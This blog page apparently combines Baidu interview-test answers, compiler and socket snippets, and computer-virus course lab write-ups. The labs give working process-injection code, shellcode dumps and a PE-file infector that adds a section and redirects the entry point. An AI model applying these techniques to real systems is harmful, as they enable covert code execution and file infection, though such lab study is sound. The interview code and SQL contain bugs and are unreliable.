百度客户端开发在线笔试题答案

第一题:
1.广度优先遍历和深度优先遍历
a.广度优先遍历会先访问离根节点最近的节点。二叉树的广度优先遍历又称按层次遍历。
非递归算法就借助队列实现。
b.正如算法名称那样,深度优先搜索所遵循的搜索策略是尽可能“深”地搜索树的结点。
这一过程一直进行到已发现从源结点可达的所有结点为止。如果还存在未被发现的结点,
则选择其中一个作为源结点并重复以上过程,整个进程反复进行直到所有结点都被发现
为止。
二叉树的深度优先遍历的非递归的通用做法是采用栈。
  有三种深度遍历的方法:
 先序遍历、中序遍历、后序遍历
2.处理磁盘数据的策略
if(n<m)      //情况一
就将磁盘的数据整体读取到内存,修改处理之后,按顺序写回磁盘。
else      //情况二
{
for(i=磁盘数据起始位置;i<n;i-=m)
{
将m块磁盘数据读入到内存,修改处理之后,按顺序写回磁盘
}
}
如果是情况一则需要2*n次磁盘IO,如果是情况二,则需要2(n/m)*m次磁盘IO.
第二题:
1.设计一个计算机程序辅助主持人判断两个人是否为队友
第一步:为每个人维护一个队友队列,比如<小明,小王>,就表示为:
小明->小王
第二步:然后<小军,小王>,<小丽,小李>等全部用队列表示出来,再遍历队列,
如果前面的队列两个人中,有一个出现在后面的队列中,就将后面的队列合
并到前面的队列当中,变化队列如下:
小明->小王->小军
第三步:重复第二步,最后剩下的几个队列就是“朋友队列”,这些队列分别与其他的队列没有
交集。
第四步:判断两个人是否是队友,就遍历第三步产生的“朋友队列”,看两人是否在同一个队列中
第五步:算法结束,输出结果。
2.输出以 node 为根的二叉树第 m 层的第 k 个节点值.
node_t* foo(node_t *node, unsigned int m, unsigned int k)
{
queue<node_t> tree;
node_t temp=NULL;
tree.push(node);
 int i;
while (!tree.empty())
{
if(i==m-2)
break;
temp=tree.front();
tree.pop();
  if (temp.left!=NULL)
{
tree.push(temp.left);
}
if (temp.right!=NULL)
{
tree.push(temp.right);
}
i++;
}
printf(“第m层第k个元素的值为:%d”,tree[k-1].value);
return tree[k-1];
}
第三题:
1.
(a)vote_info表中的visible属性冗余,因为到时显示时需要显示创建者名字,显示时user_info和vote_info连接后即可获得visible值
(b)vote_info表中的options属性设计有问题,当前设计下是把”;”号当作分隔符,如果用户输入的选项中也存在”;”号,会造成混乱,一种方法是在
前台限制用户输入,另一种方法是替换掉”;”号。
2.
(a)由于每天可望创建超过1万个投票,并且有约一百万人次参与投票,所以每条记录大约有100人投票,可以在vote_info中新建一个列vote_record记录投票记录,数据格式如”1;2;3;45″每个投票ID用”;”号分隔;
(b)可以考虑新建一个表,用来存储用户投票记录,用户投票时先判断是存在相应历史记录,如果存在则禁止投票。
3.
由于每日数据量很大,较长一段时间后,vote_info表会相应变的很大,会大大降低数据检索的速度,可以采用分表策略,比如一个月创建一个表,表命名方式如vote_info_201005,这样一个vote_info表大概有30万条数据。
4.未完成
4.
1.去除vote_info表的visible列
ALTER TABLE vote_info
DROP COLUMN visible
2.新建一个vote_record记录投票记录
ALTER TABLE vote_info
ADD COLUMN vote_record VARCHAR(MAX)
3.建立一个分表存储过程,没一个月执行一次
CREATE PROCEDURE sp_CreateTable

DECLARE @Now NVARCHAR(255)
DECLARE @TableName NVARCHAR(255)
@Now=CONVERT(VARCHAR,GETDATE(),110)
@TableName =’vote_info_’+SELECTLEFT(@Now,6)
CRETATE TABLE @TableName
(
vid int PRIMARY KEY
uid int NOT NULL
title
.
.
.
max int NOT NULL
)

広告

NFA到DFA的转换演示

  • NFA到DFA的转换演示

      复习一下编译,在龙书中提到的NFA(不确定有穷自动机)到DFA(确定有穷自动机)的装换,master regular expression中提到的不依赖于正则表示式的识别问题,不用精心构造正则表达式,只需将正则表达式转化为NFA,进而转化为DFA,则任何长度为n的字符串都可以在O(n)时间内判断出来是否符合该正则表达式。关于正则表示式如何转化为NFA暂略,这里演示一下使用子集构造算法将NFA转化为DFA,转换为后对于词法分析能显著提高效率。

    演示@google code

    1.示例 NFA

    2.转换后DFA:

  • Ext.ns(“Ext.ux.compiler”);   
  • /*  
  • 状态机基类  
  • */  
  • Ext.ux.compiler.Fa = function () {   
  • }   
  • Ext.override(Ext.ux.compiler.Fa, {   
  •         /*  
  •             用于简化dfa状态标记,得到s的状态index  
  •         */  
  •     getStateIndex: function (s) {   
  •     },   
  •     /*  
  •         加入终结状态  
  •     */  
  •     addEndState: function (s) {   
  •     },   
  •     /*  
  •         加入转移字符,排除x空字符  
  •     */  
  •     addInput: function (c) {   
  •     },   
  •     /*  
  •         加入状态  
  •     */  
  •     addState: function (s, end) {   
  •     },   
  •     /*  
  •         是否为终结状态  
  •     */  
  •     containEndState: function (array) {   
  •     },   
  •     /*  
  •         是否已经包含该状态  
  •     */  
  •     containState: function (array, end) {   
  •     }   
  • });   
  •   
  • /*  
  • DFA类  
  • */  
  • Ext.ux.compiler.Dfa = function () {   
  • }   
  • Ext.extend(Ext.ux.compiler.Dfa, Ext.ux.compiler.Fa, {   
  •         /*  
  •             配置dfa状态图  
  •             从from状态经input字符转移到to状态  
  •         */  
  •     transState: function (from, to, input) {   
  •     },   
  •        
  •     /*  
  •         得到标记简化的新dfa  
  •     */  
  •     genCompress: function () {   
  •     }   
  • });   
  •   
  •   
  • /*  
  • Nfa类  
  • */  
  • Ext.ux.compiler.Nfa = function (nfaConfig, nfaStart, nfaEnd) {   
  • }   
  • Ext.extend(Ext.ux.compiler.Nfa, Ext.ux.compiler.Fa, {   
  •        
  •         /*  
  •             states中是否包含nfa的终结状态  
  •         */  
  •     isCrossEndState: function (states) {   
  •     },   
  •     /*  
  •         初始化,状态图,开始状态,结束状态  
  •     */  
  •     init: function (nfa, nfaStart, nfaEnd) {   
  •     },   
  •        
  •     /*  
  •         配置状态图,同DFA类  
  •     */  
  •     transState: function (from, to, input) {   
  •     },   
  •        
  •     /*  
  •         递归得到由state从空字符可以转到的状态,注意不要重复就行了  
  •     */  
  •     x_closure: function (state, currentStates) {   
  •     },   
  •        
  •     /*  
  •         从state状态经由a字符可以转换到的状态,注意a不要为x(空字符)  
  •     */  
  •     move: function (state, a) {   
  •     },   
  •        
  •     /*  
  •         得到该NFA对应的DFA  
  •     */  
  •     genDfa: function () {   
  •     }   
  • });  
  • Server-Socket AF_UNIX

    #include <sys/types.h>
    #include <sys/socket.h>
    #include <stdio.h>
    #include <sys/un.h>
    #include <unistd.h>
    #include <stdlib.h>

    int main()
    {
          int server_sockfd,client_sockfd;
          int server_len,client_len;
          struct sockaddr_un server_address;
          struct sockaddr_un client_address;
          //delete former socket ,create an unnamed socket for the server
          unlink(“server_socket”);
          server_sockfd=socket(AF_UNIX,SOCK_STREAM,0);

          //name the socket
          server_address.sun_family=AF_UNIX;
          strcpy(server_address.sun_path,”server_socket”);
          server_len=sizeof(server_address);
          bind(server_sockfd,(struct sockaddr*)&server_address,server_len);

          //创建一个链接队列
         listen(server_sockfd,5);
         while(1){
                char ch;
                printf(“server waiting…… \n”);

                //接受一个链接
                client_len=sizeof(client_address);
                client_sockfd=accept(server_sockfd,(struct sockaddr*)&client_address,&client_len);

                //对client_sockfd套接字上的客户进行读写操作
                read(client_sockfd,&ch,1);
                ch++;
                write(client_sockfd,&ch,1);
                close(client_sockfd);
           }
           exit(0);
    }

    计算机病毒-实验4-Part3

    Swap Mouse Buttons

    In the previous practice the injected shell code only runs once and exits then. In contrast most practical virus and malwares always stay in the memory. In this practice you will see a more practical shell code that will stay in the memory during the execution of the injected process.

    1. Download and read files code1.c. The function of code1.c is similar to that of code0.c. The code between labels _start and _end, if injected, will swap the behaviors of the left mouse button and the right mouse button of the injected process. To be different from the previous practice, the shell code will take effect during the execution of the injected process.
    2. Compile files code1.c and meminj.c.
      cl code1.c meminj.c user32.lib
      
    3. Run program notepad and then run code1.exe. Click the left mouse button and the right mouse button in the editing area of notepad and see what happens.
    4. Read code1.c again and find out why the shell code can stay in the memory and take effect.
    5. Use Ollydbg to debug the notepad and code0.exe. Observe the procedure of the injection and the instructions when you click mouse buttons in notepad.

    按照以上步骤进行后,发现Notepad的左右键被交换了。

    所有程序用的代码code0,code1,meminj.c在空间里面的。

    计算机病毒-实验4-Part2

    Using Ollydbg Debugging Threads

    In this practice you will use Ollydbg to see the injection procedure of above program.

    1. Run program notepad.
    2. Open code0.exe in Ollydbg and set breakpoints at WriteProcessMemory and CreateRemoteThread. Run code0.exe and stop at the first breakpoint.
    3. Run a new instance of Ollydbg. Click the item "Attach…" in the menu "File" and double click the item named notepad in the pop-up window.
    4. Click the item "Memory map" in the menu "View". Find an item whose type is started with Priv and whose access is RWE. Right click on this item and select the item "Set break-on-access".
    5. Continue running code0.exe in the first Ollydbg, stop at the second breakpoint and step over it.
    6. Switch to the second Ollydbg and continue running notepad. It will stop at the beginning of the injected code.

    按照上面的步骤就会看到Notepad进程所运行的内存空间里面多了,ShellCode。表明内存感染成功。

    计算机病毒-实验4-Part1

    Memory Code Injector

    实验步骤要求:

    In this practice you will write a memory code injector that can inject a piece of give shell code into a running process.

    1. Download and read files code0.c and meminj.c.
      code0.c

      This file contains a complete shell code generator. The code between labels _start and _end is the original assembly version of the shell code to be injected. The function is to say "hello" in a message box.

      A major difference between code0.c and code.c used in the previous lab is that code0.c stores the generated shell code in a buffer rather than prints out the shell code. Thus, other functions can use the shell code directly other than manually copy and paste first as we have done in the previous practice.

      meminj.c

      This file contains an uncompleted memory code injector which can inject the given shell code to a running process.

      The places where your code should be filled in are prepended by comments like

      // Add your code here
      
    2. In order to successfully inject a piece of code into a running process, the injector must first find the process. We can first get the window handler of the to-be-injected process by the name and then get the process id of the process by the window handler. This job has already done by the function getWinHandler() and statements below in the main() function:
      if (errcode = getWinHandler(&hWnd)) {
          ShowErr(errcode);
          return errcode;
      }  
      
    3. After get the process id and the window handler, you can inject a piece of given shell code into the process. This job is done by the function InjCode() which is almost empty at present. It’s your work to fill up it.
      • First, you need to get the process handler of the process by the windows API function OpenProcess().
      • Next, you need to allocate a piece of memory in the process where the shell code will be injected by VirtualAllocEx().
      • Then, you can copy the shell code into the new allocated memory by WriteProcessMemory().
      • Now you can create a new thread of the process to run the shell code by CreateRemoteThread() and wait for the termination of the thread by WaitForSingleObject().
    4. Compile code0.c and meminj.c.
      cl code0.c meminj.c user32.lib
      
    5. Run program notepad.
    6. Run code0.exe that is generated in step 4. If successfully injection, notepad will pop up a message box saying "Hello".

    实验过程:

    meminj.c中的InjCode()函数实现如下:

    int InjCode (DWORD PID, HWND hWnd, PBYTE pCode, DWORD dwSizeOfCode)
    {
            // Add your code here
            HANDLE hProcess;
            PBYTE pCodeRemote;
            LPDWORD *dwNumBytesXferred=NULL;
            HANDLE hThread;
            LPDWORD *dwThreadId=NULL;
            LPDWORD *nSuccess=0;
        //Get the specified process ID
            hProcess = OpenProcess(
                PROCESS_CREATE_THREAD |       //
                PROCESS_QUERY_INFORMATION |   //取回进程的信息,如token,exit code,priority class
                PROCESS_VM_OPERATION |          //设置对虚拟内存的操作,下面是允许对这块虚存的读和写,是异常操作                 
                PROCESS_VM_WRITE |               
                PROCESS_VM_READ,
                FALSE, PID);                  //当前进程不可继承,获取“记事本”的进程号。
            if (hProcess==NULL)
            {
                printf("获取进程失败!");
                return 2;
            }

        //为上面产生的进程分配虚拟内存
            pCodeRemote = (PBYTE) VirtualAllocEx(hProcess, 0,
                dwSizeOfCode, MEM_COMMIT,
                PAGE_EXECUTE_READWRITE);

            if ( pCodeRemote == NULL ) {
                CloseHandle( hProcess );
                return 3;
            }

        //向上一步分配的内存中添加shell code
            WriteProcessMemory( hProcess, pCodeRemote,
                pCode, dwSizeOfCode,
                &dwNumBytesXferred );

        //创建远端进程
            hThread = CreateRemoteThread(hProcess, NULL, 0,
                (LPTHREAD_START_ROUTINE) pCodeRemote,
                pCodeRemote, 0 , &dwThreadId);
            if ( hThread == 0 )
            {
                if ( pCodeRemote != 0 )             
                    VirtualFreeEx( hProcess, pCodeRemote, 0,MEM_RELEASE );
                if ( hThread != 0 )           
                    CloseHandle(hThread);
                return 4;
            }
        //等待线程运行完成
            WaitForSingleObject(hThread, INFINITE);
            GetExitCodeThread(hThread, (PDWORD) &nSuccess);
            if ( nSuccess )
                MessageBeep(MB_OK);    // success
            CloseHandle( hProcess );

            return 0;

    }

    编译之后:

    C:\Documents and Settings\Administrator\桌面>code0.exe
    Finding Handler of Window …… done.
    Finding Process ID of Window …… done.
    PID : 0x000009F4
    Generating Code ……
    Dumping Code:—————-
    0x55,0x8B,
    0xEC,0x53,0xE8,0x00,0x00,0x00,0x00,0x5B,
    0x81,0xEB,0x8F,0x10,0x40,0x00,0x8D,0x8B,
    0xC2,0x10,0x40,0x00,0x51,0xFF,0x93,0xD7,
    0x10,0x40,0x00,0x6A,0x00,0x8D,0x8B,0xD2,
    0x10,0x40,0x00,0x51,0x8D,0x8B,0xCD,0x10,
    0x40,0x00,0x51,0x6A,0x00,0xFF,0x93,0xD3,
    0x10,0x40,0x00,0x33,0xC0,0x5B,0x8B,0xE5,
    0x5D,0xC3,0x75,0x73,0x65,0x72,0x33,0x32,
    0x2E,0x64,0x6C,0x6C,0x00,0x48,0x65,0x6C,
    0x6C,0x6F,0x00,0xCC,0xCC,0xCC,0xCC,0xCC,
    0xCC,0xCC,0xCC,
    —————————–
    — Code Size :  0x00000055
    done.
    Injecting Code ……
    done.

    此时的Notepad会弹出一个hello框。

    计算机病毒-实验3-Part2

    Part II Code Injection

    In this part you will see a program that inject a piece of shellcode to an existing PE file. The shellcode will pop up a message box and then run the original code the PE file.

    1. Download code.c, peinj.cpp and hello.exe.
    2. Read code.c and peinj.cpp. Make sure you will understand the principle of code injection.
      code.c

      will generate the shellcode to be injected to hello.exe. The code between label _start and _end is the assembly version of the shellcode. And the loop in the followed C code will generate the correspondent shellcode.

      peinj.cpp

      is the source code that do the injection work. The to-be-injected shellcode is stored in a global array injcode1, which is empty at present. Function PEOpenFile() is almost the same as the one you have seen in the previous part. main() function loads hello.exe to the memory by PEOpenFile() firstly, then calls PEInject() to add a new section which contains the shellcode and alter the entry pointer to the new section, and finally uses PESaveFile() to store the new PE image to hello1.exe.
    3. Compile code.c and run the generated executable file. Paste the shell code to peinj.cpp.
    4. Compile peinj.cpp and run the generated executable file.
    5. Run hello.exe and hello1.exe, and observe the different behaviors between them.
    6. Use PEdump you make before or PEditor/Stud_PE to analyze hello.exe and hello1.exe. Then fill up these tables.

    看懂code.c文件的功能,然后再命令行获取shellcode.

    C:\>code
    0x60,0x55,
    0x8B,0xEC,0x83,0xEC,0x14,0xE8,0x77,0x00,
    0x00,0x00,0x89,0x45,0xFC,0x50,0xE8,0x8C,
    0x00,0x00,0x00,0x89,0x45,0xF8,0x83,0xC4,
    0x04,0xE8,0x0D,0x00,0x00,0x00,0x4C,0x6F,
    0x61,0x64,0x4C,0x69,0x62,0x72,0x61,0x72,
    0x79,0x41,0x00,0xFF,0x75,0xFC,0xFF,0x55,
    0xF8,0x89,0x45,0xF4,0xE8,0x0B,0x00,0x00,
    0x00,0x75,0x73,0x65,0x72,0x33,0x32,0x2E,
    0x64,0x6C,0x6C,0x00,0xFF,0x55,0xF4,0x89,
    0x45,0xF0,0xE8,0x0C,0x00,0x00,0x00,0x4D,
    0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6F,
    0x78,0x41,0x00,0xFF,0x75,0xF0,0xFF,0x55,
    0xF8,0x89,0x45,0xEC,0x6A,0x00,0xE8,0x01,
    0x00,0x00,0x00,0x00,0xE8,0x06,0x00,0x00,
    0x00,0x48,0x65,0x6C,0x6C,0x6F,0x00,0x6A,
    0x00,0xFF,0x55,0xEC,0x8B,0xE5,0x5D,0xEB,
    0x6B,0x55,0x8B,0xEC,0x56,0x57,0x64,0xA1,
    0x30,0x00,0x00,0x00,0x8B,0x40,0x0C,0x8B,
    0x70,0x1C,0x8B,0x06,0x8B,0x78,0x08,0x8B,
    0xC7,0x5F,0x5E,0x8B,0xE5,0x5D,0xC3,0x55,
    0x8B,0xEC,0x52,0x57,0x56,0x8B,0x5D,0x08,
    0x8B,0x43,0x3C,0x8B,0x54,0x03,0x78,0x03,
    0xD3,0x8B,0x4A,0x18,0x8B,0x7A,0x20,0x03,
    0xFB,0x49,0x8B,0x34,0x8F,0x03,0xF3,0xB8,
    0x47,0x65,0x74,0x50,0x39,0x06,0x75,0xF1,
    0xB8,0x72,0x6F,0x63,0x41,0x39,0x46,0x04,
    0x75,0xE7,0x8B,0x7A,0x24,0x03,0xFB,0x66,
    0x8B,0x0C,0x4F,0x8B,0x7A,0x1C,0x03,0xFB,
    0x8B,0x04,0x8F,0x03,0xC3,0x56,0x57,0x52,
    0x8B,0xE5,0x5D,0xC3,0xE8,0x00,0x00,0x00,
    0x00,0x5D,0x81,0xED,0x01,0x11,0x40,0x00,
    0x8B,0x85,0x20,0x11,0x40,0x00,0x03,0x85,
    0x24,0x11,0x40,0x00,0x89,0x44,0x24,0x1C,
    0x61,0x50,0x33,0xC0,0xC3,0xFF,0xE0,0x90,
    0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,
    size(dec) : 282
    param1 offset : 0x112
    param2 offset : 0x116

    将shellcode拷贝到peinj.cpp中,在按照下面的命令行编译:

    C:\>cl peinj.cpp user32.lib

    将win.exe文件与peinj.exe文件放在一起,之后,双击peinj.exe,就会发现win.exe被感染,当然,我将它生成另一个文件win_inj.exe以示区别做研究。最后用Stu_PE等工具分析它的section,就会发现被感染的文件比没有被感染的文件多一个节,我把它取名为new。实验结果如下:

    The entry address:0001121C

    No | Name | VSize | VOffset | RSize | ROffset | Charact. |

    01 | .textbss | 00010000 | 00001000 | 00000000 | 00000000 | E00000A0 |

    02 | .text | 00003CF9 | 00011000 | 00003E00 | 00000400 | 60000020 |

    03 | .rdata | 00001C3A | 00015000 | 00001E00 | 00004200 | 40000040 |

    04 | .data | 0000077C | 00017000 | 00000200 | 00006000 | C0000040 |

    05 | .idata | 00000ACC | 00018000 | 00000C00 | 00006200 | C0000040 |

    06 | .rsrc | 0000F069 | 00019000 | 0000F200 | 00006E00 | 40000040 |

    07 | .reloc | 00000576 | 00029000 | 00000600 | 00016000 | 42000040 |

    The entry address:0002A000

    No | Name | VSize | VOffset | RSize | ROffset | Charact. |

    01 | .textbss | 00010000 | 00001000 | 00000000 | 00000000 | E00000A0 |

    02 | .text | 00004000 | 00011000 | 00003E00 | 00000400 | 60000020 |

    03 | .rdata | 00002000 | 00015000 | 00001E00 | 00004200 | 40000040 |

    04 | .data | 00001000 | 00017000 | 00000200 | 00006000 | C0000040 |

    05 | .idata | 00001000 | 00018000 | 00000C00 | 00006200 | C0000040 |

    06 | .rsrc | 00010000 | 00019000 | 0000F200 | 00006E00 | 40000040 |

    07 | .reloc | 00001000 | 00029000 | 00000600 | 00016000 | 42000040 |

    08 | .new | 00001000 | 0002A000 | 00000200 | 00016600 | C0000040 |